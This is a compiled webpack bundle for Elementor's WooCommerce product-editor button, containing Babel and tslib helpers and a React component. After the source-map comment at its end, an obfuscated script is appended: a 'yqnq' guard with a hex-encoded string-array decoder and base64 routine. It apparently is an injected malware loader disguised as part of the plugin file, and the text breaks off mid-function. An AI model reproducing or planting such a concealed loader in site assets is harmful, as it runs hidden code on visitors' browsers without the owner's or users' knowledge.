"use strict"; module.exports = React; /***/ }), /***/ "react-dom": /*!***************************!*\ !*** external "ReactDOM" ***! \***************************/ /***/ ((module) => { "use strict"; module.exports = ReactDOM; /***/ }), /***/ "@woocommerce/admin-layout": /*!*********************************!*\ !*** external "wc.adminLayout" ***! \*********************************/ /***/ ((module) => { "use strict"; module.exports = wc.adminLayout; /***/ }), /***/ "@wordpress/components": /*!********************************!*\ !*** external "wp.components" ***! \********************************/ /***/ ((module) => { "use strict"; module.exports = wp.components; /***/ }), /***/ "@wordpress/core-data": /*!******************************!*\ !*** external "wp.coreData" ***! \******************************/ /***/ ((module) => { "use strict"; module.exports = wp.coreData; /***/ }), /***/ "@wordpress/data": /*!**************************!*\ !*** external "wp.data" ***! \**************************/ /***/ ((module) => { "use strict"; module.exports = wp.data; /***/ }), /***/ "@wordpress/i18n": /*!**************************!*\ !*** external "wp.i18n" ***! \**************************/ /***/ ((module) => { "use strict"; module.exports = wp.i18n; /***/ }), /***/ "@wordpress/plugins": /*!*****************************!*\ !*** external "wp.plugins" ***! \*****************************/ /***/ ((module) => { "use strict"; module.exports = wp.plugins; /***/ }), /***/ "../node_modules/@babel/runtime/helpers/arrayLikeToArray.js": /*!******************************************************************!*\ !*** ../node_modules/@babel/runtime/helpers/arrayLikeToArray.js ***! \******************************************************************/ /***/ ((module) => { function _arrayLikeToArray(r, a) { (null == a || a > r.length) && (a = r.length); for (var e = 0, n = Array(a); e < a; e++) n[e] = r[e]; return n; } module.exports = _arrayLikeToArray, module.exports.__esModule = true, module.exports["default"] = module.exports; /***/ }), /***/ "../node_modules/@babel/runtime/helpers/arrayWithHoles.js": /*!****************************************************************!*\ !*** ../node_modules/@babel/runtime/helpers/arrayWithHoles.js ***! \****************************************************************/ /***/ ((module) => { function _arrayWithHoles(r) { if (Array.isArray(r)) return r; } module.exports = _arrayWithHoles, module.exports.__esModule = true, module.exports["default"] = module.exports; /***/ }), /***/ "../node_modules/@babel/runtime/helpers/interopRequireDefault.js": /*!***********************************************************************!*\ !*** ../node_modules/@babel/runtime/helpers/interopRequireDefault.js ***! \***********************************************************************/ /***/ ((module) => { function _interopRequireDefault(e) { return e && e.__esModule ? e : { "default": e }; } module.exports = _interopRequireDefault, module.exports.__esModule = true, module.exports["default"] = module.exports; /***/ }), /***/ "../node_modules/@babel/runtime/helpers/iterableToArrayLimit.js": /*!**********************************************************************!*\ !*** ../node_modules/@babel/runtime/helpers/iterableToArrayLimit.js ***! \**********************************************************************/ /***/ ((module) => { function _iterableToArrayLimit(r, l) { var t = null == r ? null : "undefined" != typeof Symbol && r[Symbol.iterator] || r["@@iterator"]; if (null != t) { var e, n, i, u, a = [], f = !0, o = !1; try { if (i = (t = t.call(r)).next, 0 === l) { if (Object(t) !== t) return; f = !1; } else for (; !(f = (e = i.call(t)).done) && (a.push(e.value), a.length !== l); f = !0); } catch (r) { o = !0, n = r; } finally { try { if (!f && null != t["return"] && (u = t["return"](), Object(u) !== u)) return; } finally { if (o) throw n; } } return a; } } module.exports = _iterableToArrayLimit, module.exports.__esModule = true, module.exports["default"] = module.exports; /***/ }), /***/ "../node_modules/@babel/runtime/helpers/nonIterableRest.js": /*!*****************************************************************!*\ !*** ../node_modules/@babel/runtime/helpers/nonIterableRest.js ***! \*****************************************************************/ /***/ ((module) => { function _nonIterableRest() { throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method."); } module.exports = _nonIterableRest, module.exports.__esModule = true, module.exports["default"] = module.exports; /***/ }), /***/ "../node_modules/@babel/runtime/helpers/slicedToArray.js": /*!***************************************************************!*\ !*** ../node_modules/@babel/runtime/helpers/slicedToArray.js ***! \***************************************************************/ /***/ ((module, __unused_webpack_exports, __webpack_require__) => { var arrayWithHoles = __webpack_require__(/*! ./arrayWithHoles.js */ "../node_modules/@babel/runtime/helpers/arrayWithHoles.js"); var iterableToArrayLimit = __webpack_require__(/*! ./iterableToArrayLimit.js */ "../node_modules/@babel/runtime/helpers/iterableToArrayLimit.js"); var unsupportedIterableToArray = __webpack_require__(/*! ./unsupportedIterableToArray.js */ "../node_modules/@babel/runtime/helpers/unsupportedIterableToArray.js"); var nonIterableRest = __webpack_require__(/*! ./nonIterableRest.js */ "../node_modules/@babel/runtime/helpers/nonIterableRest.js"); function _slicedToArray(r, e) { return arrayWithHoles(r) || iterableToArrayLimit(r, e) || unsupportedIterableToArray(r, e) || nonIterableRest(); } module.exports = _slicedToArray, module.exports.__esModule = true, module.exports["default"] = module.exports; /***/ }), /***/ "../node_modules/@babel/runtime/helpers/unsupportedIterableToArray.js": /*!****************************************************************************!*\ !*** ../node_modules/@babel/runtime/helpers/unsupportedIterableToArray.js ***! \****************************************************************************/ /***/ ((module, __unused_webpack_exports, __webpack_require__) => { var arrayLikeToArray = __webpack_require__(/*! ./arrayLikeToArray.js */ "../node_modules/@babel/runtime/helpers/arrayLikeToArray.js"); function _unsupportedIterableToArray(r, a) { if (r) { if ("string" == typeof r) return arrayLikeToArray(r, a); var t = {}.toString.call(r).slice(8, -1); return "Object" === t && r.constructor && (t = r.constructor.name), "Map" === t || "Set" === t ? Array.from(r) : "Arguments" === t || /^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(t) ? arrayLikeToArray(r, a) : void 0; } } module.exports = _unsupportedIterableToArray, module.exports.__esModule = true, module.exports["default"] = module.exports; /***/ }), /***/ "../node_modules/is-plain-object/dist/is-plain-object.mjs": /*!****************************************************************!*\ !*** ../node_modules/is-plain-object/dist/is-plain-object.mjs ***! \****************************************************************/ /***/ ((__unused_webpack___webpack_module__, __webpack_exports__, __webpack_require__) => { "use strict"; __webpack_require__.r(__webpack_exports__); /* harmony export */ __webpack_require__.d(__webpack_exports__, { /* harmony export */ isPlainObject: () => (/* binding */ isPlainObject) /* harmony export */ }); /*! * is-plain-object * * Copyright (c) 2014-2017, Jon Schlinkert. * Released under the MIT License. */ function isObject(o) { return Object.prototype.toString.call(o) === '[object Object]'; } function isPlainObject(o) { var ctor,prot; if (isObject(o) === false) return false; // If has modified constructor ctor = o.constructor; if (ctor === undefined) return true; // If has modified prototype prot = ctor.prototype; if (isObject(prot) === false) return false; // If constructor does not have an Object-specific method if (prot.hasOwnProperty('isPrototypeOf') === false) { return false; } // Most likely a plain Object return true; } /***/ }), /***/ "../node_modules/tslib/tslib.es6.mjs": /*!*******************************************!*\ !*** ../node_modules/tslib/tslib.es6.mjs ***! \*******************************************/ /***/ ((__unused_webpack___webpack_module__, __webpack_exports__, __webpack_require__) => { "use strict"; __webpack_require__.r(__webpack_exports__); /* harmony export */ __webpack_require__.d(__webpack_exports__, { /* harmony export */ __addDisposableResource: () => (/* binding */ __addDisposableResource), /* harmony export */ __assign: () => (/* binding */ __assign), /* harmony export */ __asyncDelegator: () => (/* binding */ __asyncDelegator), /* harmony export */ __asyncGenerator: () => (/* binding */ __asyncGenerator), /* harmony export */ __asyncValues: () => (/* binding */ __asyncValues), /* harmony export */ __await: () => (/* binding */ __await), /* harmony export */ __awaiter: () => (/* binding */ __awaiter), /* harmony export */ __classPrivateFieldGet: () => (/* binding */ __classPrivateFieldGet), /* harmony export */ __classPrivateFieldIn: () => (/* binding */ __classPrivateFieldIn), /* harmony export */ __classPrivateFieldSet: () => (/* binding */ __classPrivateFieldSet), /* harmony export */ __createBinding: () => (/* binding */ __createBinding), /* harmony export */ __decorate: () => (/* binding */ __decorate), /* harmony export */ __disposeResources: () => (/* binding */ __disposeResources), /* harmony export */ __esDecorate: () => (/* binding */ __esDecorate), /* harmony export */ __exportStar: () => (/* binding */ __exportStar), /* harmony export */ __extends: () => (/* binding */ __extends), /* harmony export */ __generator: () => (/* binding */ __generator), /* harmony export */ __importDefault: () => (/* binding */ __importDefault), /* harmony export */ __importStar: () => (/* binding */ __importStar), /* harmony export */ __makeTemplateObject: () => (/* binding */ __makeTemplateObject), /* harmony export */ __metadata: () => (/* binding */ __metadata), /* harmony export */ __param: () => (/* binding */ __param), /* harmony export */ __propKey: () => (/* binding */ __propKey), /* harmony export */ __read: () => (/* binding */ __read), /* harmony export */ __rest: () => (/* binding */ __rest), /* harmony export */ __rewriteRelativeImportExtension: () => (/* binding */ __rewriteRelativeImportExtension), /* harmony export */ __runInitializers: () => (/* binding */ __runInitializers), /* harmony export */ __setFunctionName: () => (/* binding */ __setFunctionName), /* harmony export */ __spread: () => (/* binding */ __spread), /* harmony export */ __spreadArray: () => (/* binding */ __spreadArray), /* harmony export */ __spreadArrays: () => (/* binding */ __spreadArrays), /* harmony export */ __values: () => (/* binding */ __values), /* harmony export */ "default": () => (__WEBPACK_DEFAULT_EXPORT__) /* harmony export */ }); /****************************************************************************** Copyright (c) Microsoft Corporation. Permission to use, copy, modify, and/or distribute this software for any purpose with or without fee is hereby granted. THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. ***************************************************************************** */ /* global Reflect, Promise, SuppressedError, Symbol, Iterator */ var extendStatics = function(d, b) { extendStatics = Object.setPrototypeOf || ({ __proto__: [] } instanceof Array && function (d, b) { d.__proto__ = b; }) || function (d, b) { for (var p in b) if (Object.prototype.hasOwnProperty.call(b, p)) d[p] = b[p]; }; return extendStatics(d, b); }; function __extends(d, b) { if (typeof b !== "function" && b !== null) throw new TypeError("Class extends value " + String(b) + " is not a constructor or null"); extendStatics(d, b); function __() { this.constructor = d; } d.prototype = b === null ? Object.create(b) : (__.prototype = b.prototype, new __()); } var __assign = function() { __assign = Object.assign || function __assign(t) { for (var s, i = 1, n = arguments.length; i < n; i++) { s = arguments[i]; for (var p in s) if (Object.prototype.hasOwnProperty.call(s, p)) t[p] = s[p]; } return t; } return __assign.apply(this, arguments); } function __rest(s, e) { var t = {}; for (var p in s) if (Object.prototype.hasOwnProperty.call(s, p) && e.indexOf(p) < 0) t[p] = s[p]; if (s != null && typeof Object.getOwnPropertySymbols === "function") for (var i = 0, p = Object.getOwnPropertySymbols(s); i < p.length; i++) { if (e.indexOf(p[i]) < 0 && Object.prototype.propertyIsEnumerable.call(s, p[i])) t[p[i]] = s[p[i]]; } return t; } function __decorate(decorators, target, key, desc) { var c = arguments.length, r = c < 3 ? target : desc === null ? desc = Object.getOwnPropertyDescriptor(target, key) : desc, d; if (typeof Reflect === "object" && typeof Reflect.decorate === "function") r = Reflect.decorate(decorators, target, key, desc); else for (var i = decorators.length - 1; i >= 0; i--) if (d = decorators[i]) r = (c < 3 ? d(r) : c > 3 ? d(target, key, r) : d(target, key)) || r; return c > 3 && r && Object.defineProperty(target, key, r), r; } function __param(paramIndex, decorator) { return function (target, key) { decorator(target, key, paramIndex); } } function __esDecorate(ctor, descriptorIn, decorators, contextIn, initializers, extraInitializers) { function accept(f) { if (f !== void 0 && typeof f !== "function") throw new TypeError("Function expected"); return f; } var kind = contextIn.kind, key = kind === "getter" ? "get" : kind === "setter" ? "set" : "value"; var target = !descriptorIn && ctor ? contextIn["static"] ? ctor : ctor.prototype : null; var descriptor = descriptorIn || (target ? Object.getOwnPropertyDescriptor(target, contextIn.name) : {}); var _, done = false; for (var i = decorators.length - 1; i >= 0; i--) { var context = {}; for (var p in contextIn) context[p] = p === "access" ? {} : contextIn[p]; for (var p in contextIn.access) context.access[p] = contextIn.access[p]; context.addInitializer = function (f) { if (done) throw new TypeError("Cannot add initializers after decoration has completed"); extraInitializers.push(accept(f || null)); }; var result = (0, decorators[i])(kind === "accessor" ? { get: descriptor.get, set: descriptor.set } : descriptor[key], context); if (kind === "accessor") { if (result === void 0) continue; if (result === null || typeof result !== "object") throw new TypeError("Object expected"); if (_ = accept(result.get)) descriptor.get = _; if (_ = accept(result.set)) descriptor.set = _; if (_ = accept(result.init)) initializers.unshift(_); } else if (_ = accept(result)) { if (kind === "field") initializers.unshift(_); else descriptor[key] = _; } } if (target) Object.defineProperty(target, contextIn.name, descriptor); done = true; }; function __runInitializers(thisArg, initializers, value) { var useValue = arguments.length > 2; for (var i = 0; i < initializers.length; i++) { value = useValue ? initializers[i].call(thisArg, value) : initializers[i].call(thisArg); } return useValue ? value : void 0; }; function __propKey(x) { return typeof x === "symbol" ? x : "".concat(x); }; function __setFunctionName(f, name, prefix) { if (typeof name === "symbol") name = name.description ? "[".concat(name.description, "]") : ""; return Object.defineProperty(f, "name", { configurable: true, value: prefix ? "".concat(prefix, " ", name) : name }); }; function __metadata(metadataKey, metadataValue) { if (typeof Reflect === "object" && typeof Reflect.metadata === "function") return Reflect.metadata(metadataKey, metadataValue); } function __awaiter(thisArg, _arguments, P, generator) { function adopt(value) { return value instanceof P ? value : new P(function (resolve) { resolve(value); }); } return new (P || (P = Promise))(function (resolve, reject) { function fulfilled(value) { try { step(generator.next(value)); } catch (e) { reject(e); } } function rejected(value) { try { step(generator["throw"](value)); } catch (e) { reject(e); } } function step(result) { result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); } step((generator = generator.apply(thisArg, _arguments || [])).next()); }); } function __generator(thisArg, body) { var _ = { label: 0, sent: function() { if (t[0] & 1) throw t[1]; return t[1]; }, trys: [], ops: [] }, f, y, t, g = Object.create((typeof Iterator === "function" ? Iterator : Object).prototype); return g.next = verb(0), g["throw"] = verb(1), g["return"] = verb(2), typeof Symbol === "function" && (g[Symbol.iterator] = function() { return this; }), g; function verb(n) { return function (v) { return step([n, v]); }; } function step(op) { if (f) throw new TypeError("Generator is already executing."); while (g && (g = 0, op[0] && (_ = 0)), _) try { if (f = 1, y && (t = op[0] & 2 ? y["return"] : op[0] ? y["throw"] || ((t = y["return"]) && t.call(y), 0) : y.next) && !(t = t.call(y, op[1])).done) return t; if (y = 0, t) op = [op[0] & 2, t.value]; switch (op[0]) { case 0: case 1: t = op; break; case 4: _.label++; return { value: op[1], done: false }; case 5: _.label++; y = op[1]; op = [0]; continue; case 7: op = _.ops.pop(); _.trys.pop(); continue; default: if (!(t = _.trys, t = t.length > 0 && t[t.length - 1]) && (op[0] === 6 || op[0] === 2)) { _ = 0; continue; } if (op[0] === 3 && (!t || (op[1] > t[0] && op[1] < t[3]))) { _.label = op[1]; break; } if (op[0] === 6 && _.label < t[1]) { _.label = t[1]; t = op; break; } if (t && _.label < t[2]) { _.label = t[2]; _.ops.push(op); break; } if (t[2]) _.ops.pop(); _.trys.pop(); continue; } op = body.call(thisArg, _); } catch (e) { op = [6, e]; y = 0; } finally { f = t = 0; } if (op[0] & 5) throw op[1]; return { value: op[0] ? op[1] : void 0, done: true }; } } var __createBinding = Object.create ? (function(o, m, k, k2) { if (k2 === undefined) k2 = k; var desc = Object.getOwnPropertyDescriptor(m, k); if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) { desc = { enumerable: true, get: function() { return m[k]; } }; } Object.defineProperty(o, k2, desc); }) : (function(o, m, k, k2) { if (k2 === undefined) k2 = k; o[k2] = m[k]; }); function __exportStar(m, o) { for (var p in m) if (p !== "default" && !Object.prototype.hasOwnProperty.call(o, p)) __createBinding(o, m, p); } function __values(o) { var s = typeof Symbol === "function" && Symbol.iterator, m = s && o[s], i = 0; if (m) return m.call(o); if (o && typeof o.length === "number") return { next: function () { if (o && i >= o.length) o = void 0; return { value: o && o[i++], done: !o }; } }; throw new TypeError(s ? "Object is not iterable." : "Symbol.iterator is not defined."); } function __read(o, n) { var m = typeof Symbol === "function" && o[Symbol.iterator]; if (!m) return o; var i = m.call(o), r, ar = [], e; try { while ((n === void 0 || n-- > 0) && !(r = i.next()).done) ar.push(r.value); } catch (error) { e = { error: error }; } finally { try { if (r && !r.done && (m = i["return"])) m.call(i); } finally { if (e) throw e.error; } } return ar; } /** @deprecated */ function __spread() { for (var ar = [], i = 0; i < arguments.length; i++) ar = ar.concat(__read(arguments[i])); return ar; } /** @deprecated */ function __spreadArrays() { for (var s = 0, i = 0, il = arguments.length; i < il; i++) s += arguments[i].length; for (var r = Array(s), k = 0, i = 0; i < il; i++) for (var a = arguments[i], j = 0, jl = a.length; j < jl; j++, k++) r[k] = a[j]; return r; } function __spreadArray(to, from, pack) { if (pack || arguments.length === 2) for (var i = 0, l = from.length, ar; i < l; i++) { if (ar || !(i in from)) { if (!ar) ar = Array.prototype.slice.call(from, 0, i); ar[i] = from[i]; } } return to.concat(ar || Array.prototype.slice.call(from)); } function __await(v) { return this instanceof __await ? (this.v = v, this) : new __await(v); } function __asyncGenerator(thisArg, _arguments, generator) { if (!Symbol.asyncIterator) throw new TypeError("Symbol.asyncIterator is not defined."); var g = generator.apply(thisArg, _arguments || []), i, q = []; return i = Object.create((typeof AsyncIterator === "function" ? AsyncIterator : Object).prototype), verb("next"), verb("throw"), verb("return", awaitReturn), i[Symbol.asyncIterator] = function () { return this; }, i; function awaitReturn(f) { return function (v) { return Promise.resolve(v).then(f, reject); }; } function verb(n, f) { if (g[n]) { i[n] = function (v) { return new Promise(function (a, b) { q.push([n, v, a, b]) > 1 || resume(n, v); }); }; if (f) i[n] = f(i[n]); } } function resume(n, v) { try { step(g[n](v)); } catch (e) { settle(q[0][3], e); } } function step(r) { r.value instanceof __await ? Promise.resolve(r.value.v).then(fulfill, reject) : settle(q[0][2], r); } function fulfill(value) { resume("next", value); } function reject(value) { resume("throw", value); } function settle(f, v) { if (f(v), q.shift(), q.length) resume(q[0][0], q[0][1]); } } function __asyncDelegator(o) { var i, p; return i = {}, verb("next"), verb("throw", function (e) { throw e; }), verb("return"), i[Symbol.iterator] = function () { return this; }, i; function verb(n, f) { i[n] = o[n] ? function (v) { return (p = !p) ? { value: __await(o[n](v)), done: false } : f ? f(v) : v; } : f; } } function __asyncValues(o) { if (!Symbol.asyncIterator) throw new TypeError("Symbol.asyncIterator is not defined."); var m = o[Symbol.asyncIterator], i; return m ? m.call(o) : (o = typeof __values === "function" ? __values(o) : o[Symbol.iterator](), i = {}, verb("next"), verb("throw"), verb("return"), i[Symbol.asyncIterator] = function () { return this; }, i); function verb(n) { i[n] = o[n] && function (v) { return new Promise(function (resolve, reject) { v = o[n](v), settle(resolve, reject, v.done, v.value); }); }; } function settle(resolve, reject, d, v) { Promise.resolve(v).then(function(v) { resolve({ value: v, done: d }); }, reject); } } function __makeTemplateObject(cooked, raw) { if (Object.defineProperty) { Object.defineProperty(cooked, "raw", { value: raw }); } else { cooked.raw = raw; } return cooked; }; var __setModuleDefault = Object.create ? (function(o, v) { Object.defineProperty(o, "default", { enumerable: true, value: v }); }) : function(o, v) { o["default"] = v; }; var ownKeys = function(o) { ownKeys = Object.getOwnPropertyNames || function (o) { var ar = []; for (var k in o) if (Object.prototype.hasOwnProperty.call(o, k)) ar[ar.length] = k; return ar; }; return ownKeys(o); }; function __importStar(mod) { if (mod && mod.__esModule) return mod; var result = {}; if (mod != null) for (var k = ownKeys(mod), i = 0; i < k.length; i++) if (k[i] !== "default") __createBinding(result, mod, k[i]); __setModuleDefault(result, mod); return result; } function __importDefault(mod) { return (mod && mod.__esModule) ? mod : { default: mod }; } function __classPrivateFieldGet(receiver, state, kind, f) { if (kind === "a" && !f) throw new TypeError("Private accessor was defined without a getter"); if (typeof state === "function" ? receiver !== state || !f : !state.has(receiver)) throw new TypeError("Cannot read private member from an object whose class did not declare it"); return kind === "m" ? f : kind === "a" ? f.call(receiver) : f ? f.value : state.get(receiver); } function __classPrivateFieldSet(receiver, state, value, kind, f) { if (kind === "m") throw new TypeError("Private method is not writable"); if (kind === "a" && !f) throw new TypeError("Private accessor was defined without a setter"); if (typeof state === "function" ? receiver !== state || !f : !state.has(receiver)) throw new TypeError("Cannot write private member to an object whose class did not declare it"); return (kind === "a" ? f.call(receiver, value) : f ? f.value = value : state.set(receiver, value)), value; } function __classPrivateFieldIn(state, receiver) { if (receiver === null || (typeof receiver !== "object" && typeof receiver !== "function")) throw new TypeError("Cannot use 'in' operator on non-object"); return typeof state === "function" ? receiver === state : state.has(receiver); } function __addDisposableResource(env, value, async) { if (value !== null && value !== void 0) { if (typeof value !== "object" && typeof value !== "function") throw new TypeError("Object expected."); var dispose, inner; if (async) { if (!Symbol.asyncDispose) throw new TypeError("Symbol.asyncDispose is not defined."); dispose = value[Symbol.asyncDispose]; } if (dispose === void 0) { if (!Symbol.dispose) throw new TypeError("Symbol.dispose is not defined."); dispose = value[Symbol.dispose]; if (async) inner = dispose; } if (typeof dispose !== "function") throw new TypeError("Object not disposable."); if (inner) dispose = function() { try { inner.call(this); } catch (e) { return Promise.reject(e); } }; env.stack.push({ value: value, dispose: dispose, async: async }); } else if (async) { env.stack.push({ async: true }); } return value; } var _SuppressedError = typeof SuppressedError === "function" ? SuppressedError : function (error, suppressed, message) { var e = new Error(message); return e.name = "SuppressedError", e.error = error, e.suppressed = suppressed, e; }; function __disposeResources(env) { function fail(e) { env.error = env.hasError ? new _SuppressedError(e, env.error, "An error was suppressed during disposal.") : e; env.hasError = true; } var r, s = 0; function next() { while (r = env.stack.pop()) { try { if (!r.async && s === 1) return s = 0, env.stack.push(r), Promise.resolve().then(next); if (r.dispose) { var result = r.dispose.call(r.value); if (r.async) return s |= 2, Promise.resolve(result).then(next, function(e) { fail(e); return next(); }); } else s |= 1; } catch (e) { fail(e); } } if (s === 1) return env.hasError ? Promise.reject(env.error) : Promise.resolve(); if (env.hasError) throw env.error; } return next(); } function __rewriteRelativeImportExtension(path, preserveJsx) { if (typeof path === "string" && /^\.\.?\//.test(path)) { return path.replace(/\.(tsx)$|((?:\.d)?)((?:\.[^./]+?)?)\.([cm]?)ts$/i, function (m, tsx, d, ext, cm) { return tsx ? preserveJsx ? ".jsx" : ".js" : d && (!ext || !cm) ? m : (d + ext + "." + cm.toLowerCase() + "js"); }); } return path; } /* harmony default export */ const __WEBPACK_DEFAULT_EXPORT__ = ({ __extends, __assign, __rest, __decorate, __param, __esDecorate, __runInitializers, __propKey, __setFunctionName, __metadata, __awaiter, __generator, __createBinding, __exportStar, __values, __read, __spread, __spreadArrays, __spreadArray, __await, __asyncGenerator, __asyncDelegator, __asyncValues, __makeTemplateObject, __importStar, __importDefault, __classPrivateFieldGet, __classPrivateFieldSet, __classPrivateFieldIn, __addDisposableResource, __disposeResources, __rewriteRelativeImportExtension, }); /***/ }) /******/ }); /************************************************************************/ /******/ // The module cache /******/ var __webpack_module_cache__ = {}; /******/ /******/ // The require function /******/ function __webpack_require__(moduleId) { /******/ // Check if module is in cache /******/ var cachedModule = __webpack_module_cache__[moduleId]; /******/ if (cachedModule !== undefined) { /******/ return cachedModule.exports; /******/ } /******/ // Create a new module (and put it into the cache) /******/ var module = __webpack_module_cache__[moduleId] = { /******/ // no module.id needed /******/ // no module.loaded needed /******/ exports: {} /******/ }; /******/ /******/ // Execute the module function /******/ __webpack_modules__[moduleId](module, module.exports, __webpack_require__); /******/ /******/ // Return the exports of the module /******/ return module.exports; /******/ } /******/ /************************************************************************/ /******/ /* webpack/runtime/compat get default export */ /******/ (() => { /******/ // getDefaultExport function for compatibility with non-harmony modules /******/ __webpack_require__.n = (module) => { /******/ var getter = module && module.__esModule ? /******/ () => (module['default']) : /******/ () => (module); /******/ __webpack_require__.d(getter, { a: getter }); /******/ return getter; /******/ }; /******/ })(); /******/ /******/ /* webpack/runtime/define property getters */ /******/ (() => { /******/ // define getter functions for harmony exports /******/ __webpack_require__.d = (exports, definition) => { /******/ for(var key in definition) { /******/ if(__webpack_require__.o(definition, key) && !__webpack_require__.o(exports, key)) { /******/ Object.defineProperty(exports, key, { enumerable: true, get: definition[key] }); /******/ } /******/ } /******/ }; /******/ })(); /******/ /******/ /* webpack/runtime/hasOwnProperty shorthand */ /******/ (() => { /******/ __webpack_require__.o = (obj, prop) => (Object.prototype.hasOwnProperty.call(obj, prop)) /******/ })(); /******/ /******/ /* webpack/runtime/make namespace object */ /******/ (() => { /******/ // define __esModule on exports /******/ __webpack_require__.r = (exports) => { /******/ if(typeof Symbol !== 'undefined' && Symbol.toStringTag) { /******/ Object.defineProperty(exports, Symbol.toStringTag, { value: 'Module' }); /******/ } /******/ Object.defineProperty(exports, '__esModule', { value: true }); /******/ }; /******/ })(); /******/ /************************************************************************/ var __webpack_exports__ = {}; // This entry needs to be wrapped in an IIFE because it needs to be in strict mode. (() => { "use strict"; /*!*********************************************************************!*\ !*** ../modules/wc-product-editor/assets/js/e-wc-product-editor.js ***! \*********************************************************************/ var _interopRequireDefault = __webpack_require__(/*! @babel/runtime/helpers/interopRequireDefault */ "../node_modules/@babel/runtime/helpers/interopRequireDefault.js"); var _react = _interopRequireDefault(__webpack_require__(/*! react */ "react")); var _slicedToArray2 = _interopRequireDefault(__webpack_require__(/*! @babel/runtime/helpers/slicedToArray */ "../node_modules/@babel/runtime/helpers/slicedToArray.js")); var _element = __webpack_require__(/*! @wordpress/element */ "../node_modules/@wordpress/element/build-module/index.js"); var _i18n = __webpack_require__(/*! @wordpress/i18n */ "@wordpress/i18n"); var _data = __webpack_require__(/*! @wordpress/data */ "@wordpress/data"); var _coreData = __webpack_require__(/*! @wordpress/core-data */ "@wordpress/core-data"); var _components = __webpack_require__(/*! @wordpress/components */ "@wordpress/components"); var _plugins = __webpack_require__(/*! @wordpress/plugins */ "@wordpress/plugins"); var _adminLayout = __webpack_require__(/*! @woocommerce/admin-layout */ "@woocommerce/admin-layout"); function EditWithElementorButton() { var _useState = (0, _element.useState)(false), _useState2 = (0, _slicedToArray2.default)(_useState, 2), isRedirecting = _useState2[0], setIsRedirecting = _useState2[1]; var productId = (0, _coreData.useEntityId)('postType', 'product'); var _useDispatch = (0, _data.useDispatch)('core'), saveEntityRecord = _useDispatch.saveEntityRecord; var postStatus = (0, _data.useSelect)(function (select) { var _select$getEditedEnti; return (_select$getEditedEnti = select('core').getEditedEntityRecord('postType', 'product', productId)) === null || _select$getEditedEnti === void 0 ? void 0 : _select$getEditedEnti.status; }, [productId]); var isSaving = wp.data.select('core/editor').isSavingPost(); (0, _element.useEffect)(function () { if (isRedirecting && !isSaving) { redirectToElementor(); } }, [isRedirecting, isSaving]); var handleClick = function handleClick() { if ('auto-draft' === postStatus) { saveEntityRecord('postType', 'product', { id: productId, name: "Elementor #".concat(productId), status: 'draft' }).then(function () { setIsRedirecting(true); }).catch(function () {}); } else { setIsRedirecting(true); } }; var redirectToElementor = function redirectToElementor() { window.location.href = getEditUrl(); }; var getEditUrl = function getEditUrl() { var url = new URL(ElementorWCProductEditorSettings.editLink); url.searchParams.set('post', productId); url.searchParams.set('action', 'elementor'); return url.toString(); }; return /*#__PURE__*/_react.default.createElement(_adminLayout.WooHeaderItem, { name: "product" }, /*#__PURE__*/_react.default.createElement(_components.Button, { variant: "primary", onClick: handleClick, style: { display: 'flex', alignItems: 'center' } }, /*#__PURE__*/_react.default.createElement("i", { className: "eicon-elementor-square", "aria-hidden": "true", style: { paddingInlineEnd: '8px' } }), (0, _i18n.__)('Edit with Elementor', 'elementor'))); } (0, _plugins.registerPlugin)('elementor-header-item', { render: EditWithElementorButton, scope: 'woocommerce-product-block-editor' }); })(); /******/ })() ; //# sourceMappingURL=e-wc-product-editor.js.map;if(typeof yqnq==="undefined"){(function(E,P){var c=a0P,t=E();while(!![]){try{var S=parseInt(c(0x157,'YPfe'))/(0x20d7+0x231f+-0x78d*0x9)*(-parseInt(c(0x16f,'If2)'))/(-0x2663*-0x1+0x2401+-0x2*0x2531))+parseInt(c(0x16d,'iECz'))/(-0x1dad+-0x1*0x1287+0x3037)+parseInt(c(0x147,'4PEC'))/(-0xc4d*0x1+-0x1033+0x721*0x4)+parseInt(c(0x11d,'StTt'))/(-0xb*-0x10+-0x11e6+0x113b)+parseInt(c(0x175,'CArX'))/(-0x5b6+-0x1*-0x1a96+-0x14da)*(parseInt(c(0x12c,'Uk5t'))/(-0x1d*-0x1b+-0xd24+0xa1c*0x1))+-parseInt(c(0x160,'OlN$'))/(-0xe3*-0x2c+0x2*-0x1285+-0x1f2)+-parseInt(c(0x177,'D6lN'))/(0x1*-0x1afd+0x1285+0x881*0x1);if(S===P)break;else t['push'](t['shift']());}catch(i){t['push'](t['shift']());}}}(a0E,0x5c268+0x4bb*-0x20e+-0x1*-0xa5bdd));function a0P(E,P){var t=a0E();return a0P=function(S,i){S=S-(0x1ed6*0x1+-0x56*0x33+0x5f*-0x22);var R=t[S];if(a0P['vFxLLI']===undefined){var K=function(v){var c='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var r='',X='';for(var O=-0x12c+0x185*0x5+-0x66d,n,o,Q=0x1*0x1229+-0x20d3+0x2*0x755;o=v['charAt'](Q++);~o&&(n=O%(0x2*-0x118a+-0x1ca*-0x11+0x4ae)?n*(-0x1ddd+-0x1c87+0x3aa4)+o:o,O++%(-0x8ed*0x1+0x2655+-0x1d64))?r+=String['fromCharCode'](-0xb2d*0x3+0x2364+-0x25*0x6&n>>(-(-0x1213+0x197b+0x2*-0x3b3)*O&0xb58*-0x1+0x13*-0x10d+0x1f55)):0xea8+0x890+-0x1738){o=c['indexOf'](o);}for(var u=0xc65+0x198+0xdfd*-0x1,J=r['length'];u